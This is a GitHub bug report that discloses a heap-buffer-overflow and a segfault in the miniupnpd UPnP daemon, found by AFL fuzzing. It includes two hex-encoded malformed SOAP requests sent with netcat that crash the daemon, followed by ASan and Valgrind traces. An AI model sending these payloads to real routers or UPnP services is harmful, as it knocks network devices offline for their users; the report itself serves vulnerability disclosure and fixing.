Skip to content

Heap-buffer-overflow in parseelt (minixml.c) and SIGSEGV in NameValueParserEndElt (upnpreplyparse.c) #268

Closed
@stze

Description

@stze

Dear miniupnpd team —

I have detected a heap-buffer-overflow in parseelt (minixml.c) and a memory corruption (invalid read, SIGSEGV) in NameValueParserEndElt (upnpreplyparse.c). while handling two consecutive malformed SOAP Request.

Version

7492fe42c280b57d9579db4f3a2a34366874f743

How to reproduce the 2 issues

  1. Compile miniupnpd with clang and add the following flags for detecting the memory corruption (optional - valgrind can also detect the overflow)
CFLAGS += -O1 -fsanitize=address -fno-omit-frame-pointer
LDFLAGS += -fsanitize=address -fno-omit-frame-pointer
  1. Start miniupnpd
$ ./miniupnpd -d -i <iface> -p <port> -a <listen ip>
  1. Use netcat to trigger the heap-buffer overflow
$ echo '504f5354202f70726f66696c652f502f312e310d0a41636365706e675c20312e310d0a41742d456e80ff64696e673a20677a69702c649f666c6174650d0a436f6e7478742f786d6c3b636861727365743d5554462d380d0a534f4150416374696f6e3a202275726e3a734b68656d61732d75706e702d6f72673a73657276736572766963653a57414e4950436f6e6e656374696f6e3a31234765744c6973744f66506f72744d617070696e6773220d0a436f6e74656e742d4c656e6774683a20323264653a663166663a666535643a353637335d0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a557365722d4167656e743a204170616368652d48747470436c69656e742f342e312e3120286a61766112312e35290d0a0d0a3c736f6170656e763a456e76656c6f70653e786d6c6e733a' | xxd -r -p | nc <ip> <port>
  1. Use netcat to trigger the consecutive SIGSEGV
$ echo '504f5354000004006f66696c652f7765627365727669636520485454502f312e310d0a41636f64696e673a20677a69702c646566f96174650d0a436f6e74656e742d547970653a20746578742f786d6c3b636861727365743d5554462d380d0a534f4150416374696f6e3a202275726e3a736368656d61732d75706e702d6f72673a74696f6e3a3123416464506f72744d617070696e67220d0a436f6e74656e742d4c656e6774683a20323338202f70726f66696c652f7765627365727669636520485454502f00000073743a065b323030643a353637335d0d0a436f6e6e656374696f6e49204b6565702d416c6976650d0a557365722d41676568652d48747470436c69656e742f342e312e3120288a61766120312e35290d0a0d0a3c736f6170656e763a456e76653a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a4c3a7474703a2f2f8b6368656d61732e702f656e76656c6f7065402220786d6c6e786d6c736f61702e2072672f736f61702f676e76656c6f70652f2220786d6c6e733a70726f663d22457474703a2f2f7777772effffff802e636f6d2f70726f66696c65223e0a2020203c73776170546e763a4865616465722f3e0a2020203c736f6170656e763a426f64793e0a1720202020203c70726f663a69646500006974793e696e7075613c2f80006f663a6964656e746974793e0a2020203c2f736f6170656e763a426f54793e0a3c2f73' | xxd -r -p | nc <ip> <port>

ASAN output (heap-buffer-overflow)

miniupnpd[7447]: version 2.0 starting UPnP-IGD ext if enp0s31f6 BOOTID=1512834926
miniupnpd[7447]: HTTP listening on port 4567
miniupnpd[7447]: HTTP REQUEST from 192.168.2.104:48082 : POST /profile/P/1.1 ()
miniupnpd[7447]: SOAPAction: urn:sKhemas-upnp-org:servservice:WANIPConnection:1#GetListOfPortMappings
=================================================================
==7447==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000179 at pc 0x0000004a7e69 bp 0x7ffc873b9120 sp 0x7ffc873b88d0
READ of size 9 at 0x612000000179 thread T0
    #0 0x4a7e68 in __interceptor_memcmp.part.273 (/tmp/miniupnpd/miniupnpd+0x4a7e68)
    #1 0x51b70c in parseelt /tmp/miniupnpd/minixml.c:164:9
    #2 0x51aae9 in ParseNameValue /tmp/miniupnpd/upnpreplyparse.c:118:2
    #3 0x519d3b in GetListOfPortMappings /tmp/miniupnpd/upnpsoap.c:1089:2
    #4 0x51648e in ExecuteSoapAction /tmp/miniupnpd/upnpsoap.c:2261:5
    #5 0x5104dd in ProcessHttpQuery_upnphttp /tmp/miniupnpd/upnphttp.c:828:3
    #6 0x50fbd0 in Process_upnphttp /tmp/miniupnpd/upnphttp.c:968:5
    #7 0x50afe4 in main /tmp/miniupnpd/miniupnpd.c:2511:6
    #8 0x7facda2d1039 in __libc_start_main (/lib64/libc.so.6+0x21039)
    #9 0x41a399 in _start (/tmp/miniupnpd/miniupnpd+0x41a399)

0x612000000179 is located 0 bytes to the right of 313-byte region [0x612000000040,0x612000000179)
allocated by thread T0 here:
    #0 0x4cfe05 in realloc (/tmp/miniupnpd/miniupnpd+0x4cfe05)
    #1 0x50f780 in Process_upnphttp /tmp/miniupnpd/upnphttp.c:948:20
    #2 0x50afe4 in main /tmp/miniupnpd/miniupnpd.c:2511:6
    #3 0x7facda2d1039 in __libc_start_main (/lib64/libc.so.6+0x21039)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/tmp/miniupnpd/miniupnpd+0x4a7e68) in __interceptor_memcmp.part.273
Shadow bytes around the buggy address:
  0x0c247fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[01]
  0x0c247fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==7447==ABORTING

ASAN output (SIGSEGV)

miniupnpd[7619]: version 2.0 starting UPnP-IGD ext if enp0s31f6 BOOTID=1512835055
miniupnpd[7619]: HTTP listening on port 4567
miniupnpd[7619]: HTTP REQUEST from 192.168.2.104:48096 : POST ebservice (HTTP/1.1)
miniupnpd[7619]: SOAPAction: urn:schemas-upnp-org:tion:1#AddPortMapping
ASAN:DEADLYSIGNAL
=================================================================
==7619==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x7ffa6e4fa657 bp 0x7ffe36cfb1a0 sp 0x7ffe36cfa928 T0)
==7619==The signal is caused by a READ memory access.
==7619==Hint: address points to the zero page.
    #0 0x7ffa6e4fa656 in __memcpy_sse2_unaligned (/lib64/libc.so.6+0xb6656)
    #1 0x4ba73a in __asan_memcpy (/tmp/miniupnpd/miniupnpd+0x4ba73a)
    #2 0x51ad9e in NameValueParserEndElt /tmp/miniupnpd/upnpreplyparse.c:58:4
    #3 0x51b7cc in parseelt /tmp/miniupnpd/minixml.c:210:6
    #4 0x51aae9 in ParseNameValue /tmp/miniupnpd/upnpreplyparse.c:118:2
    #5 0x517a56 in AddPortMapping /tmp/miniupnpd/upnpsoap.c:390:2
    #6 0x51648e in ExecuteSoapAction /tmp/miniupnpd/upnpsoap.c:2261:5
    #7 0x5104dd in ProcessHttpQuery_upnphttp /tmp/miniupnpd/upnphttp.c:828:3
    #8 0x50fbd0 in Process_upnphttp /tmp/miniupnpd/upnphttp.c:968:5
    #9 0x50afe4 in main /tmp/miniupnpd/miniupnpd.c:2511:6
    #10 0x7ffa6e465039 in __libc_start_main (/lib64/libc.so.6+0x21039)
    #11 0x41a399 in _start (/tmp/miniupnpd/miniupnpd+0x41a399)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib64/libc.so.6+0xb6656) in __memcpy_sse2_unaligned
==7619==ABORTING

Valgrind output (heap-buffer-overflow + SIGSEGV if compiled without the flags from 1.)

==6631== Memcheck, a memory error detector
==6631== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==6631== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==6631== Command: ./miniupnpd -d -i enp0s31f6 -p 4567 -a 192.168.2.104
==6631== 
miniupnpd[6631]: version 2.0 starting UPnP-IGD ext if enp0s31f6 BOOTID=1512834409
miniupnpd[6631]: HTTP listening on port 4567
miniupnpd[6631]: HTTP REQUEST from 192.168.2.104:47966 : POST /profile/P/1.1 ()
miniupnpd[6631]: SOAPAction: urn:sKhemas-upnp-org:servservice:WANIPConnection:1#GetListOfPortMappings
miniupnpd[6631]: Returning UPnPError 402: Invalid Args
miniupnpd[6631]: HTTP REQUEST from 192.168.2.104:47968 : POST ebservice (HTTP/1.1)
miniupnpd[6631]: SOAPAction: urn:schemas-upnp-org:tion:1#AddPortMapping
==6631== Conditional jump or move depends on uninitialised value(s)
==6631==    at 0x40801F: NameValueParserEndElt (upnpreplyparse.c:35)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Conditional jump or move depends on uninitialised value(s)
==6631==    at 0x4C33C3C: strcmp (vg_replace_strmem.c:846)
==6631==    by 0x408035: NameValueParserEndElt (upnpreplyparse.c:37)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Conditional jump or move depends on uninitialised value(s)
==6631==    at 0x408038: NameValueParserEndElt (upnpreplyparse.c:37)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Conditional jump or move depends on uninitialised value(s)
==6631==    at 0x4C32E5B: strncpy (vg_replace_strmem.c:549)
==6631==    by 0x40805F: NameValueParserEndElt (upnpreplyparse.c:54)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Conditional jump or move depends on uninitialised value(s)
==6631==    at 0x4C32E71: strncpy (vg_replace_strmem.c:549)
==6631==    by 0x40805F: NameValueParserEndElt (upnpreplyparse.c:54)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Conditional jump or move depends on uninitialised value(s)
==6631==    at 0x408073: NameValueParserEndElt (upnpreplyparse.c:56)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Conditional jump or move depends on uninitialised value(s)
==6631==    at 0x4C36576: memmove (vg_replace_strmem.c:1258)
==6631==    by 0x408090: NameValueParserEndElt (upnpreplyparse.c:58)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Conditional jump or move depends on uninitialised value(s)
==6631==    at 0x4C36582: memmove (vg_replace_strmem.c:1258)
==6631==    by 0x408090: NameValueParserEndElt (upnpreplyparse.c:58)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Conditional jump or move depends on uninitialised value(s)
==6631==    at 0x4C36592: memmove (vg_replace_strmem.c:1258)
==6631==    by 0x408090: NameValueParserEndElt (upnpreplyparse.c:58)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Conditional jump or move depends on uninitialised value(s)
==6631==    at 0x4C36597: memmove (vg_replace_strmem.c:1258)
==6631==    by 0x408090: NameValueParserEndElt (upnpreplyparse.c:58)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Conditional jump or move depends on uninitialised value(s)
==6631==    at 0x4C365A1: memmove (vg_replace_strmem.c:1258)
==6631==    by 0x408090: NameValueParserEndElt (upnpreplyparse.c:58)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Use of uninitialised value of size 8
==6631==    at 0x4C36670: memmove (vg_replace_strmem.c:1258)
==6631==    by 0x408090: NameValueParserEndElt (upnpreplyparse.c:58)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== Invalid read of size 8
==6631==    at 0x4C36670: memmove (vg_replace_strmem.c:1258)
==6631==    by 0x408090: NameValueParserEndElt (upnpreplyparse.c:58)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631==  Address 0x4000800100002600 is not stack'd, malloc'd or (recently) free'd
==6631== 
==6631== 
==6631== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==6631==  General Protection Fault
==6631==    at 0x4C36670: memmove (vg_replace_strmem.c:1258)
==6631==    by 0x408090: NameValueParserEndElt (upnpreplyparse.c:58)
==6631==    by 0x408414: parseelt (minixml.c:210)
==6631==    by 0x407FB2: ParseNameValue (upnpreplyparse.c:118)
==6631==    by 0x406AE5: AddPortMapping (upnpsoap.c:390)
==6631==    by 0x4063C6: ExecuteSoapAction (upnpsoap.c:2261)
==6631==    by 0x4043BF: ProcessHttpQuery_upnphttp (upnphttp.c:828)
==6631==    by 0x404125: Process_upnphttp (upnphttp.c:968)
==6631==    by 0x402939: main (miniupnpd.c:2511)
==6631== 
==6631== HEAP SUMMARY:
==6631==     in use at exit: 1,021 bytes in 6 blocks
==6631==   total heap usage: 60 allocs, 54 frees, 78,831 bytes allocated
==6631== 
==6631== LEAK SUMMARY:
==6631==    definitely lost: 200 bytes in 1 blocks
==6631==    indirectly lost: 0 bytes in 0 blocks
==6631==      possibly lost: 0 bytes in 0 blocks
==6631==    still reachable: 821 bytes in 5 blocks
==6631==         suppressed: 0 bytes in 0 blocks
==6631== Rerun with --leak-check=full to see details of leaked memory
==6631== 
==6631== For counts of detected and suppressed errors, rerun with: -v
==6631== Use --track-origins=yes to see where uninitialised values come from
==6631== ERROR SUMMARY: 17 errors from 13 contexts (suppressed: 0 from 0)
Segmentation fault

I found the two issues with AFL.

Best
-Stephan Zeisberg

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions